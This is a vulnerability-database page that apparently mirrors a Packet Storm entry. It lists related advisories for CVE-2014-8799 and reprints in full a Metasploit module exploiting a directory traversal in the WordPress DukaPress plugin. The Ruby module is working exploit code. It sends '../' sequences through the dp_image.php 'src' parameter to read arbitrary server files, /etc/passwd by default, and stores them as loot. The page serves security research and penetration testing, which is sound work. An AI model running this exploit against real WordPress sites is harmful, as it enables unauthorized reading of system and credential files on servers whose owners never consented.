Lucene search
K

WordPress DukaPress Plugin File Read

🗓️ 01 Sep 2024 00:00:00Reported by Roberto S. Soares, Kacper Szurek, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 152 Views

WordPress DukaPress Plugin File Read Vulnerability exploit allows reading arbitrary files with web server privileges.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
DukaPress 2.5.2 Path Traversal Vulnerability
22 Nov 201400:00
zdt
Circl
CVE-2014-8799
29 May 201815:50
circl
CVE
CVE-2014-8799
28 Nov 201415:00
cve
Cvelist
CVE-2014-8799
28 Nov 201415:00
cvelist
Exploit DB
WordPress Plugin DukaPress 2.5.2 - Directory Traversal
24 Nov 201400:00
exploitdb
exploitpack
WordPress Plugin DukaPress 2.5.2 - Directory Traversal
24 Nov 201400:00
exploitpack
Metasploit
WordPress DukaPress Plugin File Read Vulnerability
16 Apr 201510:17
metasploit
Nuclei
WordPress Plugin DukaPress 2.5.2 - Directory Traversal
1 Jun 202605:38
nuclei
NVD
CVE-2014-8799
28 Nov 201415:59
nvd
OpenVAS
WordPress Multiple Plugins / Themes Directory Traversal / File Download Vulnerability (HTTP)
20 Nov 202000:00
openvas
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HTTP::Wordpress  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WordPress DukaPress Plugin File Read Vulnerability',  
'Description' => %q{  
This module exploits a directory traversal vulnerability in WordPress Plugin  
"DukaPress" version <= 2.5.3, allowing to read arbitrary files with the  
web server privileges.  
},  
'References' =>  
[  
['EDB', '35346'],  
['CVE', '2014-8799'],  
['WPVDB', '7731'],  
['OSVDB', '115130']  
],  
'Author' =>  
[  
'Kacper Szurek', # Vulnerability discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])  
])  
end  
  
def check  
check_plugin_version_from_readme('dukapress', '2.5.4')  
end  
  
def run_host(ip)  
traversal = "../" * datastore['DEPTH']  
filename = datastore['FILEPATH']  
filename = filename[1, filename.length] if filename =~ /^\//  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(wordpress_url_plugins, 'dukapress', 'lib', 'dp_image.php'),  
'vars_get' =>  
{  
'src' => "#{traversal}#{filename}"  
}  
})  
  
if res && res.code == 200 && res.body.length > 0  
  
print_status('Downloading file...')  
print_line("\n#{res.body}")  
  
fname = datastore['FILEPATH']  
  
path = store_loot(  
'dukapress.file',  
'text/plain',  
ip,  
res.body,  
fname  
)  
  
print_good("File saved in: #{path}")  
else  
print_error("Nothing was downloaded. You can try to change the DEPTH parameter.")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 25
EPSS0.91126
152